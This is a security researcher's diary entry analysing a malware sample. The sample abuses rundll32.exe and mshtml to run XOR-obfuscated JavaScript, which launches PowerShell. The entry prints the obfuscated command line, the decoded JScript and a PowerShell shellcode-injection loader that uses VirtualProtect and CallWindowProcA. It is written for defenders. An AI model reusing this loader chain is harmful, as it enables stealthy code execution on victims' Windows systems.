From RunDLL32 to JavaScript then PowerShell
I spotted an interesting script on VT a few days ago and it deserves a quick diary because it uses a nice way to execute JavaScript on the targeted system. The technique used in this case is based on very common LOLbin: RunDLL32.exe
. The goal of the tool is, as the name says, to load a DLL and execute one of its exported function:
C:\> rundll32.exe sample.dll,InvokedFunction()
Many Windows OS functions can be invoked through RunDLL32:
In the sample that was found, RunDLL32 is used to execute some JavaScript. Not a brand new technique but not very common (a retro-search on VT returned less than 50 samples!). To execute some JavaScript code, just call the DLL that provides JavaScript engine features:
C:\> rundll32.exe javascript:\..\mshtml,...
How is JavaScript executed from this command line? As explained above, RunDLL32 expects to receive a DLL as the first argument (here: javascript:“\..\mshtml
). To achieve this, it uses LoadLibrary()
and tries to load javascript:“\..\mshtml
which seems to be a relative path. RunDLL32 goes one directory up and starts to search for mshtml in the common directories. Because Microsoft is doing a nice job, it adds automatically ”.dll” to the DLL name if not found and starts to search again. The DLL is found in the System32 directory as ProcessMonitor shows:
Let's have a look at the sample now (SHA256: 48d597a1c5fa6751b1a3a48922ed15ba5e9ac615de88e53b68057e3ff9dd2acb). The current VT score is 8/58[1].
When RunHTMLApplication is invoked it tries to execute the heavily obfuscated JavaScript:
rundll32.exe javascript:uetv1\..\mshtml,RunHTMLApplication ;eval(usxzeso5<odv!@buhwdYNckdbu)#VRbshqu/Ridmm#(:) \ eso5/Dowhsnoldou)#Qsnbdrr(()#he0(<#%25sqrru5<zfvlh!vho23^qsnbdrr!,ghmuds!qsnbdrrhe<%25`sfr|:%25omn8<)'%25sqrru \ 5))'%25sqrru5)%25qhe((/q`sdouqsnbdrrhe((/bnll`oemhod/rqmhu(:hdy!)ZUdyu/Dobnehof\\;;@RBHH/FduRushof)ZBnowdsu\\; \ ;GsnlC`rd75Rushof)%25omn8Z2\\(((#:eso5/Sto)#$vhoehs$]]rxrvnv75]]vhoenvrqnvdsridmm]]w0/1]]qnvdsridmm/dyd!hdy!%2 \ 5dow;he0#-1-0(:|b`ubi)eso5(z|:bmnrd)(:.replace(/./g,function(qkp8{return(String.fromCharCode(qkp8.charCodeAt() \ ^1));})) dHJ5e2Z1bmN0aW9uIGdke1BhcmFtIChbUGFyYW1ldGVyKFBvc2l0aW9uPTAsTWFuZGF0b3J5PSRUcnVlKV0gW1R5cGVbXV0gJFBhc \ mFtZXRlcnMsW1BhcmFtZXRlcihQb3NpdGlvbj0xKV0gW1R5cGVdICRSZXR1cm5UeXBlPVtWb2lkXSk7JFR5cGVCdWlsZGVyPVtBcHBEb21haW5 \ dOjpDdXJyZW50RG9tYWluLkRlZmluZUR5bmFtaWNBc3NlbWJseSgoTmV3LU9iamVjdCBTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseU5hbWUoI \ lJlZmxlY3RlZERlbGVnYXRlIikpLFtTeXN0ZW0uUmVmbGVjdGlvbi5FbWl0LkFzc2VtYmx5QnVpbGRlckFjY2Vzc106OlJ1bikuRGVmaW5lRHl \ uYW1pY01vZHVsZSgiSW5NZW1vcnlNb2R1bGUiLCRmYWxzZSkuRGVmaW5lVHlwZSgidCIsIkNsYXNzLFB1YmxpYyxTZWFsZWQsQW5zaUNsYXNzL \ EF1dG9DbGFzcyIsW1N5c3RlbS5NdWx0aWNhc3REZWxlZ2F0ZV0pOyRUeXBlQnVpbGRlci5EZWZpbmVDb25zdHJ1Y3RvcigiUlRTcGVjaWFsTmF \ tZSxIaWRlQnlTaWcsUHVibGljIixbU3lzdGVtLlJlZmxlY3Rpb24uQ2FsbGluZ0NvbnZlbnRpb25zXTo6U3RhbmRhcmQsJFBhcmFtZXRlcnMpL \ ...
The interesting piece of code is this one:
.replace(/./g,function(qkp8){return(String.fromCharCode(qkp8.charCodeAt()^1));})
The eval() deobfuscates the payload by doing an XOR with the value 1. Here is the decoded block of code:
try{ drn4=new ActiveXObject("WScript.Shell"); (drn4.Environment("Process"))("id1")="rpsst4={gwmi win32_process -filter processid=args}; nlo9=(&rpsst4((&rpsst4(pid)).parentprocessid)).commandline.split(); iex ([Text.Encoding]]::ASCII.GetString([Convert]]::FromBase64String(nlo9[3]])))"; drn4.Run("%windir%\\syswow64\\windowspowershell\\v1.0\\powershell.exe iex env:id1",0,1); } catch(drn4){}; close();
The payload is extracted from the process command line. The first block (nlo9[3]
) is Base64-encoded:
try { function gd { Param ([Parameter(Position=0,Mandatory=$True)] [Type[]] $Parameters,[Parameter(Position=1)] [Type] $ReturnType=[Void]); $TypeBuilder=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName("ReflectedDelegate")), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule ("InMemoryModule",$false).DefineType("t","Class,Public,Sealed,AnsiClass,AutoClass", [System.MulticastDelegate]);$TypeBuilder.DefineConstructor("RTSpecialName,HideBySig,Public",[System.Reflection.CallingConventions]::Standard,$Parameters).SetImplementationFlags("Runtime,Managed"); $TypeBuilder.DefineMethod("Invoke","Public,HideBySig,NewSlot,Virtual",$ReturnType,$Parameters).SetImplementation. Flags("Runtime,Managed"); return $TypeBuilder.CreateType(); } function ga { Param ([Parameter(Position=0,Mandatory=$True)] [String] $Module,[Parameter(Position=1,Mandatory=$True)] [String] $Procedure); $SystemAssembly=[AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split("\")[-1].Equals("System.dll")}; $UnsafeNativeMethods=$SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods");return $UnsafeNativeMethods.GetMethod("GetProcAddress").Invoke($null,@([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr),$UnsafeNativeMethods.GetMethod("GetModuleHandle").Invoke($null,@($Module)))),$Procedure)); } [Byte[]] $p=[Convert]::FromBase64String($nlo9[4]); [Uint32[]] $op=0; ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((ga kernel32.dll VirtualProtect),(gd @([Byte[]],[UInt32],[UInt32],[UInt32[]]) ([IntPtr])))).Invoke($p,$p.Length,0x40,$op); ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((ga user32.dll CallWindowProcA),(gd @([Byte[]],[Byte[]],[UInt32],[UInt32],[UInt32]) ([IntPtr])))).Invoke($p,$p,0,0,0); } catch{} sleep(1); exit;
This block is responsible for the shellcode injection. The shellcode is located in $nlo9[4]
.
RunDLL32 is a very good candidate to launch malicious activities because the tool is available in all Windows servers, is signed by Microsoft, and usually trusted to be executed.
[1] https://bazaar.abuse.ch/sample/48d597a1c5fa6751b1a3a48922ed15ba5e9ac615de88e53b68057e3ff9dd2acb/
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments